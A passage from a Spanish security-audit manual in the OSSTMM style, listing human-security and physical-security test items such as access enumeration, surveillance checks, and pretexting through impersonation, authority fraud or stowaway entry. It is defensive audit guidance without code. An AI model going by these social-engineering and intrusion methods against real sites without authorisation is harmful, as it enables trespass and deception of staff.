7.9 Verificación de Entrenamiento. Pruebas para examinar la capacidad de eludir o interrumpir la educación y la formación sobre concienciación sobre seguridad funcional. 7.9.1 Planificación educativa. Cursos, Seminarios, Charlas de divulgación y frecuencia de asistencia para concientizar sobre la seguridad en general tanto física como lógica. Proporcionados al personal, socios, clientes, y específicamente al personal de los controles de acceso físico a las instalaciones.

7.9.2 Interrupción de la Política educativa sobre seguridad. Descubrir y examinar el proceso y la profundidad de la auto-vigilancia del personal para la interrupción o la no conformidad de la política de seguridad.

7.9.3 Mapeo de Conciencia. Mapa de las limitaciones descubiertas en el entrenamiento de sensibilización de seguridad para el personal a través de análisis de brechas con procedimientos reales, incluidos pero no limitado a: la provisión de activos a través de cualquier canal, la capacidad de reconocer la identificación impropiada y forjada o los métodos requeridos, el método de la identificación entre el personal, el uso de medidas personales de seguridad, para sí mismo y sus bienes, el manejo de activos confidenciales y sensibles y la conformidad con la política de seguridad organizacional.

7.9.4 Secuestro de la conciencia Descubrir y examinar hasta qué punto una persona no oficial proporciona información. Política de seguridad de manera autorizada, para eludir deliberadamente o no romper la política de seguridad.

Página 339 de 430

Manual de Auditoria para no Auditores

7.10 Validación de la propiedad. Ensayos para examinar la información y la propiedad física disponibles dentro del alcance o proporcionados por el personal que puede ser ilegal o poco ético. 7.10.1 Compartir. Verifique en qué medida las licencias individuales, privadas, son compartidas entre el personal intencionalmente a través a través bibliotecas de forma involuntaria, producto de una mala administración de licencias y recursos o negligencia.

7.10.2 Mercado Negro. Verifique como se han adquirido esas licencias que no pertenecen a la librería de software registrado por la empresa y si se han adquirido en el mercado negro, por tanto, son ilícitas y un grave riesgo para la empresa.

7.10.3 Canales de Venta. Verificar que todas las ventas y negocios de la empresa se realizan bajo las preceptivas medidas legales incluyendo el acceso a subastas, ventas privadas. 7.11 Revisión de la segregación. Pruebas para la separación apropiada de los activos de información: privada o personal, de la información comercial. Así como de la revisión de la privacidad, es el punto focal legal y ético, la transmisión y el control del personal, incluyendo a los socios e información privada del cliente. 7.11.1 Medidas de contención de privacidad. Medidas tomadas por los custodios, de los activos de información privada dentro del ámbito, qué información se almacena; cómo y dónde y sobre qué canales se comunica dicha información.

7.11.2 Información Evidente. Enumerar y mapear la información relativa al personal. Tales como nombres, raza, Sexo, religión, días de vacaciones, páginas web personales, currículos publicados, afiliaciones personales, solicitudes,

Página 340 de 430

Manual de Auditoria para no Auditores bancarias, registro electoral y cualquier información personal implícitamente como privado en los reglamentos y las políticas. Dentro del espacio de la UE se deben de tomar las medidas exigida por el reglamento de protección de datos de carácter personal en un primer nivel dado que existe obligación legal de cumplirlas sin menoscabo de añadir otras como pueda ser la encriptación y la segregación / difusión de datos atomizados.

7.11.3 Divulgación. Examinar y documentar tipos de revelaciones de activos de información privada por parte de los responsables de esta segregación de acuerdo con la política y las regulaciones que no puede contradecir las leyes locales, nacionales y por supuesto las reconocidas por el Derecho internacional.

7.11.4 Limitaciones. Examinar y documentar tipos de accesos físicos habilitados para personas con limitaciones físicas dentro de esa instalación.

Página 341 de 430

Manual de Auditoria para no Auditores 7.12 Verificación de la exposición. Pruebas para localizar la información que proporciona acceso autorizado permitiendo un acceso a múltiples ubicaciones con la misma autenticación. 7.12.1 Control de la exposición Enumerar la información sobre la organización, que cada integrante dispone

como:

organigramas,

personal

clave

funciones

y

denominación del puesto, descripciones de trabajo, números de teléfono personales y de trabajo, teléfono móvil, números tarjetas de identificación, documentos compartidos, currículos, afiliaciones organizacionales, privadas y públicas, direcciones de correo electrónico, logins, esquemas de registro, contraseñas, métodos de respaldo / verificación , aseguradores o cualquier información organizacional implícita y confidencial en los reglamentos y políticas. Toda esta información debe estar controlada y registrada, mantenerse al día y debidamente sincronizada entre las áreas de Recursos Humanos, Área Legal, así como Seguridad Física Control de Accesos y Seguridad Lógica, con el fin de garantizar en todo momento que la exposición a una intrusión no autorizada bien por atacantes, bien por personal de terceros o exempleados sea mínima.

7.12.2 Perfiles. Verifique que la organización, disponga de todos los tipos de perfiles vinculados a los diferentes puestos de los empleados, con las correspondientes las escalas de información.

7.13 Inteligencia Competitiva. Prueba de propiedad de barrido que se puede analizar como inteligencia de negocios. Mientras que la inteligencia competitiva como un campo está relacionada con la comercialización, el proceso aquí incluye cualquier forma de reunión de inteligencia competitiva, incluyendo, pero no limitado a espionaje económico e industrial.

Página 342 de 430

Manual de Auditoria para no Auditores

7.13.1 Rectificación de negocios. Controladores de mapas de activos empresariales dentro del alcance, qué información se almacena, cómo y dónde se almacena la información y qué canales la información se comunica entre el personal. 7.13.2 Entorno empresarial. Explorar y documentar desde el personal individual detalles empresariales tales como alianzas, socios, principales clientes, vendedores, distribuidores, inversionistas, relaciones comerciales, producción, desarrollo, información de productos, planificación estratégica, acciones y comercio y cualquier información o propiedad comercial específica declarada implícitamente Como confidencial en los reglamentos y políticas. 7.13.3 Entorno organizacional. Examinar y documentar tipos de revelaciones de activos de negocios de los supervisores sobre operaciones, procesos, jerarquía, informes financieros, oportunidades de inversión, fusiones, adquisiciones, inversiones de canal, mantenimiento de canales, políticas sociales internas, insatisfacción del personal y tasa de cambio, Las contrataciones, los despidos y cualquier activo organizacional específico declarado implícitamente como confidencial en las regulaciones y políticas. 7.14

Verificación de cuarentena.

Pruebas para verificar el correcto emplazamiento y contención de contactos agresivos u hostiles en los puntos de acceso. 7.14.1 Identificación del proceso de contención. Identificar y examinar los métodos de cuarentena y el proceso en las puertas de entrada en todos los canales para los contactos agresivos y hostiles, tales como vendedores, cazadores de cabezas, periodistas, competidores, buscadores de empleo, candidatos a puestos de trabajo y personas perturbadoras.

Página 343 de 430

Manual de Auditoria para no Auditores 7.14.2 Niveles de contención. Verifique el estado de contención, la duración del tiempo y todos los canales en los que cuidadores guardianes custodios o vigilantes tienen métodos de cuarentena. Asegúrese de que los métodos estén dentro del contexto legal y los límites. 7.15 Auditoría de privilegios. Prueba donde se proporcionan las credenciales al usuario y se concede el permiso para probar con esas credenciales. 7.15.1 Identificación. Examinar y documentar el proceso para obtener la identificación a través de medios legítimos y fraudulentos en todos los canales.

7.15.2 Autorización. Verificar el uso de autorización fraudulenta en todos los canales para obtener privilegios similares a los de otro personal.

7.15.3 Escalamiento. Verificar y mapear el acceso a los activos mediante el uso de privilegios para obtener privilegios más altos o más amplios más allá de lo que se designa autoritariamente para el rol.

7.15.4 Discriminación. Verificar la información solicitada y los privilegios otorgados por los guardianes en los casos en que la edad (específicamente aquellos que son legalmente menores para la región), el sexo, la raza, la costumbre / cultura y la religión son factores que pueden ser discriminados de acuerdo con la revisión de la política reglamentos.

7.15.5 Subyugación. Enumerar y probar las insuficiencias de los activos comunicados a través de canales en los que no se requieren dichos controles, pueden ser eludidos o ignorados, como correo electrónico inseguro o una línea telefónica pública. Página 344 de 430

Manual de Auditoria para no Auditores

7.16

Continuidad del servicio

Determinar y medir la resiliencia de los guardianes dentro del alcance a cambios excesivos o hostiles diseñados para causar fallas de servicio. 7.16.1 Resiliencia. Enumerar y probar las insuficiencias en todos los canales del personal dentro del ámbito por el cual la remoción o el silencio del personal de la pasarela permitirá el acceso directo a los activos. 7.16.2 Continuidad. Enumerar y probar las insuficiencias de todo el personal con respecto a los retrasos en el acceso y el tiempo de respuesta del servicio a través de personal de respaldo o medios automatizados para el acceso al personal alternativo de la pasarela. 7.16.3 Seguridad. Elaborar y documentar el proceso de desvinculación de los canales por motivos de evacuación o preocupaciones de seguridad como un análisis de lagunas con la regulación y la política de seguridad. 7.17

Encuesta final.

Un análisis de la brecha entre las actividades realizadas con la prueba y la verdadera profundidad de esas actividades registradas o de percepciones de terceros tanto humanas como mecánicas. 7.17.1 Alarma. Verificar y enumerar el uso de un sistema de advertencia, registro o mensaje de localización o ámbito de alcance para cada pasarela de acceso sobre cada canal en el que el personal sospeche que hay sospechas de intentos de elusión, ingeniería social o actividad fraudulenta.

7.17.2 Almacenamiento y recuperación. Documente y verifique el acceso privilegiado y eficiente a las ubicaciones y propiedades de almacenamiento de alarmas, registros y notificaciones.

Página 345 de 430

Manual de Auditoria para no Auditores

Capítulo 8 - Pruebas de Seguridad Física. PHYSSEC (Seguridad Física) es una clasificación para la seguridad material dentro del ámbito físico que es dentro de los límites del espacio 3D humanointeractivo. La prueba de este canal requiere interacción con las barreras y los seres humanos en las posiciones de guardián de los activos. Este canal cubre la interacción del Analista en la proximidad de los objetivos. Mientras que algunos servicios consideran esto simplemente como "incumplimiento", el verdadero objetivo de cumplimiento de las pruebas de seguridad en este es una prueba de barrera física y lógica y una medición de hueco con el estándar de seguridad en la política de la empresa, en las regulaciones de la industria o en la legislación regional. Se requerirá que el Analista tenga múltiples herramientas y métodos para completar algunas tareas para asegurar sospecha no se plantea entre el personal y las pruebas no son inválidas debido a un descubrimiento temprano o Paranoia aumentada. También puede ser pertinente limitar los sujetos de prueba a uno por departamento u otro límite. Los analistas también deberán estar preparados para la posibilidad de lesiones corporales barreras y armas convencionales, interacciones con animales, sujeción a bacterias dañinas, virus y hongos, exposición a la radiación electromagnética y de microondas, especialmente aquella que puede daño auditivo o visual, y agentes químicos venenosos o corrosivos en cualquier forma. Los Analistas Competentes requerirán fuerza física, resistencia, agilidad y habilidades de pensamiento crítico para asegurar La recopilación de datos fácticos crea resultados fácticos a través de la correlación y el análisis. Consideraciones. Tenga en cuenta las siguientes consideraciones para asegurar una prueba segura y de alta calidad: 1. Conatos: Todos los intentos de atravesar barreras físicas requieren un juicio imparcial de la cantidad de dificultad requerida para alcanzar e interactuar con el objetivo y el peligro involucrado. Estas consideraciones deben hacerse con respecto a la "voluntad de vivir" de los seres humanos, así como cualquier efecto sobre los objetivos si el ataque se realiza sin tener en cuenta la vida (suicida). 2. Ecce hora: Todas las pruebas físicas requieren una gran atención al tiempo. Se deben mantener registros del tiempo en que se realiza la prueba, el tiempo en el objetivo y el tiempo en que la prueba finaliza, con éxito o no, porque también ayudará a determinar lo que se puede lograr dentro del intervalo de tiempo para fallar. Conocer tal información puede ayudar a entender lo que puede ser un ataque engañoso para asegurar recursos No se desperdician en una zona dejando otra abierta.

Página 346 de 430

Manual de Auditoria para no Auditores 3. Abuso de discreción: El analista debe tener cuidado de no ignorar o malinterpretar los resultados de la prueba de una barrera física u obstáculo, ya que no está dentro del rango de las posibilidades físicas del analista. El Analista debe permanecer imparcial y no sobreestimar o sobrevalorar las habilidades y habilidades personales y en su lugar aplicar las pruebas como una persona altamente cualificada y altamente capaz podría. 4. Magister pecuarius: El analista no debe descartar el potencial razonable de un atacante utilizando animales entrenados para eludir barreras y obstáculos donde un ser humano no puede. 5. Negligencia plausible: No se llevarán a cabo pruebas directas o físicas de seguridad del personal para el personal que no ha sido entrenado, informado o que se puede decir que posee experiencia u obligaciones de seguridad debido a los requisitos de responsabilidad laboral. 6. Sui generis: Toda interacción con las barreras físicas dejará un registro de esta interactividad y, en casos más extremos, puede debilitar o destruir la barrera. El analista debe tener cuidado al probar objetivos de un tipo que no sean reemplazables. El analista también debe tener cuidado de no dejar marcaciones permanentes donde sea posible y mantener un registro de todas las barreras probadas para verificar si hay daño después de la auditoría.

Página 347 de 430

Manual de Auditoria para no Auditores 8.1 Revisión de la Política. Los estudios iniciales de la política incluyen las leyes, la ética, las políticas, las regulaciones de la industria y la cultura política que influyen en los requisitos de seguridad y privacidad para el ámbito. Esta revisión forma una matriz a la que Las pruebas deben ser mapeadas, pero no restringidas. 8.1.1 Política. Revisar y documentar la política organizacional apropiada con respecto a la seguridad, la seguridad, la integridad (es decir, cadena de suministro) y requisitos de privacidad para las barreras en el ámbito.

8.1.2 Legislación y reglamentos. Revisar y documentar la legislación regional y nacional apropiada y las regulaciones de la industria requisitos de seguridad y privacidad de la organización en el ámbito de aplicación, así como que incluye a los clientes apropiados, socios, sucursales de organización, o revendedores fuera del alcance.

8.1.3 Cultura. Revisar y documentar la cultura organizacional apropiada en el ámbito de la seguridad y la sensibilización sobre la privacidad, capacitación del personal requerido y disponible, jerarquía organizacional y Reconoció la interacción de confianza entre los empleados.

8.1.4 Relaciones. Revisar y documentar las relaciones de influencia apropiadas entre el personal de la Jerarquía organizacional dentro del ámbito de aplicación.

8.1.5 Cultura regional. Revisar y documentar la influencia apropiada de las culturas regionales y extranjeras en la seguridad, la jerarquía, la cadena de suministro y los servicios en el entorno en el que reside el ámbito.

Página 348 de 430

Manual de Auditoria para no Auditores 8.1.6 Economía. Revisar y documentar la influencia apropiada de la economía y la escala salarial sobre el estatus social intención criminal en el personal tanto del vector del personal dentro del alcance como de la La comunidad exterior en la que reside el ámbito.

8.1.7 Medio ambiente. Revisión de la región de destino los patrones climáticos, extremos peligrosos (es decir, inundaciones, Tornados, huracanes), temperaturas extremas, máximos de humedad, calidad del aire, estabilidad tectónica, fauna típica, formas de desastres naturales o provocados por el hombre e infestación general de insectos. 8.2 Logística Preparación del entorno de prueba de canales necesario para prevenir falsos positivos y falsos negativos que conducen a resultados de pruebas inexactos. 8.2.1 Medio ambiente. (A) Examinar el alcance para determinar si se requiere algún equipo especial para el ambiente de los objetivos. El equipo puede ir de la cuerda a las paredes de escalada hasta el equipo de buceo para viajar bajo el agua. Los tipos de equipos no se limitan sólo al medio ambiente sino también a las barreras que uno debe evitar. (B) Verifique que el equipo de seguridad dañado pueda causar lesiones a los analistas. (C) Examinar los objetivos de terreno, aire, agua, edificios o estructuras peligrosos, contaminados o mal mantenidos. (D) Examinar el ruido, la radiación electromagnética y los niveles del campo magnético en el alcance. 8.2.2 Comunicaciones. A) Compruebe qué idiomas se utilizan dentro del ámbito de aplicación y qué lenguas se comunican entre el ámbito de aplicación y los clientes, socios y revendedores que se encuentran fuera del ámbito de aplicación.

Página 349 de 430

Manual de Auditoria para no Auditores B) Examinar los medios de comunicación entre el personal y si se mejora mediante el uso de instrumentos tales como banderas, bengalas, radios, binoculares, visión nocturna, etc.

8.2.3 Tiempo. (A) Pruebe el horario, los días festivos y los horarios de trabajo para varios roles y trabajos dentro del ámbito, incluidos socios, revendedores y clientes influyentes que interactúan con el ámbito.

(B) Determine si la disminución de la movilidad o visibilidad durante la hora del día, semana, mes o estación (día o noche, niebla, lluvia o nieve) tendrá un impacto sobre las operaciones en el objetivo. 8.3 Verificación de detección activa. La determinación de los controles activos y pasivos para detectar la intrusión en el filtro o negar los intentos de realizados antes de la prueba para mitigar el riesgo de crear falsos positivos y negativos, en los datos del resultado de la prueba, así como el cambio del estado de alarma del personal de vigilancia o agentes. 8.3.1 Supervisión. (A) Verificar que el alcance es supervisado por un tercero para la intrusión a través de miradores, guardias, cámaras, o sensores. La fecha y hora de entrada, así como la salida de la meta debe ser registrada.

B) Determinar el alcance de la vigilancia y determinar si el desplazamiento de una amenaza a la Interceptados de manera oportuna.

(C) Verificar si el viaje hacia el objetivo requiere un aumento del tiempo en el objetivo y la exposición. Esto incluye, pero es No se limitan a: cuartos de cuarentena, pasillos largos vacíos, estacionamientos, grandes extensiones vacías, difícil o terreno no natural, y las áreas de invitado o la celebración.

Página 350 de 430

Manual de Auditoria para no Auditores (D) Verificar que la iluminación y el contraste visible al acercarse al objetivo permita la interceptación de amenazas. 8.3.2 Reaccionando. (A) Verificar si los controles interactivos para el objetivo reaccionarán oportunamente a condiciones ambientales extremas de acuerdo con la tarea de revisión del medio ambiente de la revisión de la política (B) Verificar si el objetivo reaccionará oportunamente a una perturbación en la calidad del aire, el agua y el suelo. (C) Verificar si el objetivo reaccionará oportunamente a las perturbaciones críticas del ruido. (D) Verificar si el objetivo reaccionará oportunamente a las perturbaciones del campo magnético. (E) Verificar si el objetivo reaccionará de manera oportuna a los incendios. (F) Verificar si el objetivo reaccionará en forma oportuna a la denegación del acceso al blanco mediante bloqueo o cuarentena. (G) Verificar si el objetivo reaccionará oportunamente ante las amenazas de temor, rebelión o violencia dentro del alcance. (H) Determinar la finalidad de la interceptación de amenazas. 8.4 Auditoría de Visibilidad. Ensayos de enumeración y verificación para la visibilidad de objetivos y activos. En PHYSSEC, los activos también deben incluir suministros tales como alimentos, agua, combustible, etc. y procesos operativos que pueden afectar a dichos suministros, como la eliminación adecuada de residuos y otros contaminantes, carga y descarga de envíos de suministros, ciclos de sueño y reposo, Etc. 8.4.1 Reconocimiento (A) Mapear y detallar el perímetro de alcance determinado por técnicas de visualización visibles y asistidas, áreas públicamente accesibles, planes públicos y fuentes públicas. (B) Enumerar y detallar objetivos y activos visibles fuera del ámbito. (C) Enumerar y detallar los patrones de tráfico objetivo, tráfico peatonal, áreas ocupadas y sensores visibles fuera del alcance. (D) Enumerar directorios y libretas telefónicas internas que identifiquen ubicaciones de instalaciones de procesamiento de Página 351 de 430

Manual de Auditoria para no Auditores información confidenciales que no sean fácilmente accesibles por el público. (E) Mapear y enumerar la ubicación física y el diseño de los objetivos, el tamaño y la navegabilidad de los obstáculos, barreras y peligros que aumentarán el tiempo en el blanco. 8.5 Verificación de acceso. Prueba para la enumeración de puntos de acceso para interactuar con los objetivos y los activos dentro del alcance. Si bien el acceso a muros y cercas que bordean una propiedad fuera del alcance es un escenario real y se utiliza a menudo en un ataque, esta auditoría se limita a la interacción de ámbito sólo para proteger los derechos de propiedad de terceros. 8.5.1 Enumeración: (A) Mapear y explorar la navegabilidad del terreno, las barreras, y los obstáculos en el alcance para alcanzar los objetivos y los activos. Documentar todos los métodos utilizados y los resultados de dichos métodos. (B) Mapear y verificar todos los puntos de acceso que permitan la interacción furtiva o no controlada, directa (3 segundos o menos tiempo en el blanco) con el objetivo. (C) Verificar el tamaño y navegabilidad de los puntos de acceso públicos y privados y de todos los caminos a los que dirigirse. 8.5.2 Autenticación: (A) Enumerar y probar las insuficiencias a las que se requieren los privilegios para acceder, el proceso de obtención de esos privilegios y asegurar que sólo se permita el acceso a las partes identificables, autorizadas y previstas. (B) Verificar el proceso de autenticación de los elementos que pueden ser incluidos en el ámbito por personal autorizado y no autorizado. (C) Verificar el proceso de autenticación de los elementos que pueden ser retirados del alcance por personal autorizado y no autorizado. (D) Compruebe el proceso de registro de acceso y qué elementos fueron introducidos y eliminados.

Página 352 de 430

Manual de Auditoria para no Auditores 8.5.3 Ubicación: (A) Muestre la distancia desde el perímetro del alcance a los objetivos y activos visibles fuera del ámbito. (B) Trazar e identificar todos los caminos a los puntos de acceso que se pueden alcanzar en una interacción ruidosa, no furtiva, directa (3 segundos o menos tiempo en el blanco) con ese punto de acceso. Esto puede incluir ataques que son conatos (sin tener en cuenta la vida del atacante) 8.5.4 Penetración: (A) Determinar qué barreras y obstáculos en el ámbito de aplicación proporcionan acceso remoto al cambio, la interrupción, la destrucción o la obtención de activos (visual, auditiva y magnética).

B) Determinar la eficacia de las barreras y los obstáculos para soportar las condiciones definidas en la Revisión de Postura.

(B) Determine y evalúe la efectividad de las barreras y obstáculos para soportar el fuego, las explosiones y las fuerzas generales de concusión, como los disparos y el choque vehicular.

(C) Determinar y evaluar la efectividad de las barreras y obstáculos para reducir la entrada: niveles críticos de ruido, calor, frío, humo, humedad, olores disruptivos o cáusticos, campos magnéticos intensos, luz dañina y contaminantes. (D) Determinar y evaluar la efectividad de las barreras y obstáculos para reducir los salientes: sonidos, olores, vibraciones, condiciones de aclimatación, humo, campos magnéticos, residuos y contaminantes.

Página 353 de 430

Manual de Auditoria para no Auditores 8.6 Confiar en la verificación Pruebas de verificación entre procesos dentro del ámbito en el que trust se refiere al acceso a activos sin la necesidad. Para su identificación o autenticación. 8.6.1 Declaración falsa. (A) Comprobar y documentar la profundidad de los requisitos para el acceso a los activos con el uso de Representación falsa como miembro del personal de apoyo o de entrega "interno" sin cartas credenciales. (B) Comprobar y documentar la profundidad de los requisitos para el acceso a los activos con el Tergiversación como una persona con discapacidad.

8.6.2 Fraude. Probar y documentar la profundidad de los requisitos para el acceso a los activos con el uso de representación de la autoridad como miembro de la dirección u otro personal clave.

8.6.3 Dirección incorrecta. Probar y documentar la profundidad de los requisitos para el acceso a los activos con el uso de tergiversación como miembro del personal de apoyo o entrega fuera del ámbito.

8.6.4 Estiba Probar y documentar la profundidad de los requisitos para el acceso a los activos a través de la estiba transporte de la ayuda o de la entrega para tomar la estiba fuera del alcance.

8.6.5 Malversación de fondos. Probar y documentar la profundidad de los requisitos para ocultar los activos dentro del ámbito destruidos), sacar activos fuera del alcance a una fuente conocida y confiable, ya lo largo de alcance a otro personal sin ninguna credencial establecida y requerida.

Página 354 de 430

Manual de Auditoria para no Auditores 8.6.6 En Terrorismo. Prueba y documenta la profundidad de los requisitos para incitar al miedo, la rebelión, la violencia y el caos, la interrupción de los procesos y la contaminación de los suministros. 8.7 Verificación de controles Pruebas para enumerar los tipos de controles de pérdidas utilizados para proteger el valor de los activos. 8.7.1 No repudio. Enumerar y probar el uso o insuficiencias de monitores y sensores para identificar y registrar correctamente acceso o interacciones con los activos para pruebas específicas para desafiar el repudio. Documente en profundidad de la interacción que se registra.

8.7.2 Confidencialidad. Enumerar y probar el uso o las deficiencias de todas las señales, comunicación física y entre los procesos internos y externos y el personal que utiliza códigos, lenguaje indescifrable, interacciones personales "tranquilas" o "cerradas" para promover la confidencialidad de la comunicación sólo a aquellos con la calificación de seguridad adecuada clasificación para esa comunicación.

8.7.3 Privacidad. Enumerar y probar el uso o insuficiencias de todas las interacciones dentro del alcance usando empaquetado o etiquetado no marcados o no obvios, interacciones de "silencio" o "habitación cerrada", y dentro de cuartos elegidos al azar para ocultar o proteger la privacidad de la interacción y sólo a aquellos con la autorización de seguridad adecuada para ese proceso o activo.

8.7.4 Integridad. (A) Enumerar y probar las insuficiencias en todas las señales y la comunicación entre procesos Y el personal que utiliza un proceso documentado, sellos, firmas, hashing o marcas cifradas para proteger y Página 355 de 430

Manual de Auditoria para no Auditores asegurar que los activos no pueden ser cambiados, redirigidos, o invertidos sin él siendo conocido por las partes involucradas. (B) Enumerar y probar las insuficiencias en todos los procesos e interacciones con los activos en el transporte que utilizan un proceso documentado, firmas, sellos, cinta de separación, marcas, etiquetas, sensores o encriptadas para proteger y asegurar que los activos no pueden ser cambiados, redirigidos o Sin que las partes interesadas las conozcan. (C) Verificar que todos los medios de almacenamiento para información no están en peligro de decaimiento no natural como calor o humedad, desvanecimiento de la luz directa del sol o degradación magnética (putrefacción de los bits). 8.8 Verificación del proceso. Pruebas para examinar el mantenimiento de las operaciones de seguridad funcional en los procesos establecidos y la debida diligencia según se define en la revisión de la política. 8.8.1 Mantenimiento. (A) Examinar y documentar la oportunidad, adecuación, acceso y extensión de los procesos de reparación de equipos y barreras con respecto a la seguridad operativa, la seguridad real y los controles de pérdidas. (B) Verificar la reparación y determinar en qué medida la notificación y la calidad de las reparaciones pueden ser falsificadas y falsificadas. 8.8.2 Indemnización (A) Documentar y enumerar la capacidad de abusar o eludir la política de los empleados, seguros, no divulgación, no competencia, contratos de responsabilidad o renuncias de uso / usuario para el personal dentro del alcance. (B) Enumerar el uso de señales de advertencia de peligro, vigilancia o alarmas en vigor, problemas de salud y avisos de no entrada. (C) Verificar el alcance y la finalidad de la acción legal utilizada para sostener la indemnización. Página 356 de 430

Manual de Auditoria para no Auditores

8.9 Verificación de la configuración. Pruebas para examinar el funcionamiento de procesos bajo diferentes niveles de condiciones de seguridad. Comprender cómo funcionan los procesos bajo la rutina diaria y las eficiencias proporciona una visión de cómo deben comportarse bajo condiciones más extremas. 8.9.1 Mapeo educativo. Tipos de mapas y frecuencia de asistencia física de seguridad y seguridad, cursos de educación y capacitación proporcionados al personal, socios, clientes y específicamente a los guardianes. 8.9.2 Interrupción de la Política. Descubrir y examinar el proceso y la profundidad de la auto-vigilancia del personal para la interrupción o no conformidad de la seguridad física y la política de seguridad. 8.9.3 Condiciones de amenaza (A) Mapa de las respuestas listas de los procesos de seguridad en reacción a los niveles de mayor amenaza de la condición (es decir, verde, amarillo, naranja y rojo alertas) según los requisitos determinados en la revisión de la política. B) Determinar qué disparadores son necesarios para aumentar los niveles de amenaza y verificar que se cumplen. (C) Asignar el mapa de las respuestas de los procesos de seguridad en respuesta a la disminución de los niveles de condición de amenaza según los requisitos establecidos en la revisión de la política. D) Descubrir y examinar hasta qué punto una persona no oficial proporciona información errónea sobre los niveles de amenaza de una manera autorizada para elevar o disminuir deliberadamente el estatus de listo.

Página 357 de 430

Manual de Auditoria para no Auditores 8.10 Validación de la propiedad. Pruebas para examinar las propiedades físicas disponibles dentro del alcance o proporcionadas por personal que Ilegal o poco ético.

8.10.1 Compartir. Verificar la medida en que los activos personales o los de la organización han

sido

falsificados,

reproducidos

o

compartidos

ilegal

e

intencionalmente de acuerdo con los requisitos de la revisión de la política. Revisar a través de compartir, prestar, alquilar o alquilar servicios, bibliotecas personales y personales cachés o involuntariamente por ignorancia o negligencia.

8.10.2 Mercado Negro. Verificar el grado en que los activos personales o los de la organización han sido falsificados o reproducidos y están siendo promovidos, comercializados o vendidos entre el personal o por organización.

8.10.3 Canales de ventas. Verifique los activos en las subastas, los mercados de pulgas, los anuncios de interés, las ventas de garaje, los contratos de canje o las ventas de propiedades que proporcionar información de contacto a través de canales que se originan dentro del ámbito de aplicación.

8.10.4 Almacenamiento. (A) Verificar que las ubicaciones de almacenamiento y los caches pequeños de activos de ubicación dentro del alcance. (B) Verificar las ubicaciones de almacenamiento y los caches pequeños de los activos de la organización para su uso o venta en público o A otros miembros de la organización no están deliberadamente ocultos, atesorados, controlados, o guardado.

Página 358 de 430

Manual de Auditoria para no Auditores 8.10.5 Abuso de recursos. (A) Enumerar artículos personales que consumen energía, combustible, alimentos, agua u otros activos dentro del requisitos definidos en la revisión de la política. (B) Enumerar artículos personales usando canales que son propiedad de la organización (es decir, Servidores de Internet, jukeboxes, máquinas de fax, etc.). (C) Enumera objetos personales visiblemente visibles que simbolizan creencias que no están dentro de los requisitos definido en la revisión de la política. 8.11 Revisión de la segregación. Prueba para la separación apropiada de la propiedad de información privada o personal de información comercial. Al igual que una revisión de la privacidad, es el punto focal del almacenamiento legal y ético, el transporte y el control de la propiedad de información privada del personal, socios y clientes. 8.11.1 Mapeo de contención de privacidad Ubicaciones de almacenamiento de mapas de la propiedad de información privada dentro del ámbito, qué información se almacena, cómo y dónde se almacena la información, y cómo y dónde se descarta la propiedad. 8.11.2 Información Evidente Enumerar y mapear desde los documentos de destino y la propiedad física con información personal no segura como se define implícitamente como privada en las regulaciones y políticas (es decir, nombres completos, raza, sexo, religión, días de vacaciones, páginas web personales, currículos publicados, afiliaciones personales, Consultas de directorio, sucursal bancaria, registro electoral, etc.). 8.11.3 Divulgación Verificar el acceso a los almacenes de propiedad de información privada del personal según lo determinado en la revisión de la política. 8.11.4 Limitaciones Examinar y documentar alternativas de movilidad accesibles a las personas con limitaciones físicas dentro de ese canal. Página 359 de 430

Manual de Auditoria para no Auditores 8.11.4 Materiales ofensivos Verificar que la propiedad personal abiertamente visible no se muestra o ofende como determinada ofensiva o privada en la revisión de la política. 8.12 Verificación de la exposición. Prueba para descubrir información que proporciona o lleva a acceso autenticado o permite el acceso a múltiples ubicaciones con la misma autenticación. 8.12.1 Asignación de la exposición Descubra y enumere documentos y artículos no garantizados con información sobre la organización, como planos, logística, horarios, claves, fichas de acceso, insignias, uniformes o cualquier activo organizacional específico que proporcione un acceso más amplio o más amplio. 8.12.2 Perfiles (A) Perfile y verifique la definición estructural de los objetivos, incluyendo el tipo de material, la altura, el espesor y las propiedades de seguridad o seguridad. B) Descubrir y enumerar sensores de control de acceso, cámaras, monitores, sifones, jaulas, puertas, cercas, etc. para el tipo, la tecnología, el fabricante, los materiales y las propiedades de seguridad o seguridad.

8.13 Inteligencia Competitiva. Prueba de propiedad de barrido que se puede analizar como inteligencia de negocios. Aunque competitiva la inteligencia como un campo está relacionado con la comercialización, el proceso aquí incluye cualquier forma de competencia Incluyendo, pero no limitado a, el espionaje económico e industrial. 8.13.1 Rectificado empresarial Descubra y mapee las ubicaciones de almacenamiento de la propiedad empresarial dentro del alcance, qué información es almacenado, cómo y dónde se almacena la información, y cómo y dónde se descarta la propiedad.

Página 360 de 430

Manual de Auditoria para no Auditores 8.13.2 Entorno empresarial Descubra y enumere documentos y artículos con detalles de negocios tales como personal, tarifas de pago, alianzas, socios, principales clientes,

vendedores,

comerciales,

distribuidores,

producción,

desarrollo,

inversionistas, información

de

relaciones productos,

planificación, stocks y comercio, y cualquier negocio en particular información o propiedad determinada implícitamente como confidencial o no competir desde la política revisada 8.13.3 Entorno organizacional Descubrir

y

organizativos

enumerar como

documentos

procesos,

y

elementos

jerarquía,

con

información

detalles

financiera,

oportunidades de inversión, fusiones, adquisiciones, inversiones en canales, Mantenimiento de canales, políticas sociales internas, insatisfacción y tasa de cambio de personal, Los tiempos de vacaciones, las contrataciones, los despidos y cualquier propiedad organizacional específica declarada implícitamente como Confidencial o no competir a partir de la política revisada.

8.13.4 Entorno Operacional Descubrir y enumerar procesos que exponen detalles operativos tales como envasado, envío, distribución, tiempos de llegada y salida de los empleados, dirección, clientes, métodos de Interacción, planes de publicidad y marketing, desarrollo de producto, capacidad del producto y Propiedad

operativa

particular

declarada

implícitamente

como

confidencial o no competir desde la revisión de la política.

Página 361 de 430

Manual de Auditoria para no Auditores 8.14 Verificación de cuarentena. Pruebas para verificar el correcto emplazamiento y contención de personas y procesos con intención agresiva o hostil dentro del alcance. 8.14.1 Identificación del proceso de contención (A) Identificar y examinar los métodos y procesos de cuarentena física dentro del alcance de contactos agresivos y hostiles tales como

personas

caóticas

o

violentas,

vendedores

no

programados, cazadores de cabezas, asesinos, periodistas, competidores, buscadores de empleo, candidatos a empleo y personas perturbadoras.

(B) Identificar y examinar los métodos y procedimientos de cuarentena física dentro del ámbito de la gestión de sustancias o sustancias peligrosas y dañinas, sustancias ilegales y bienes de la compañía extraídos ilegalmente.

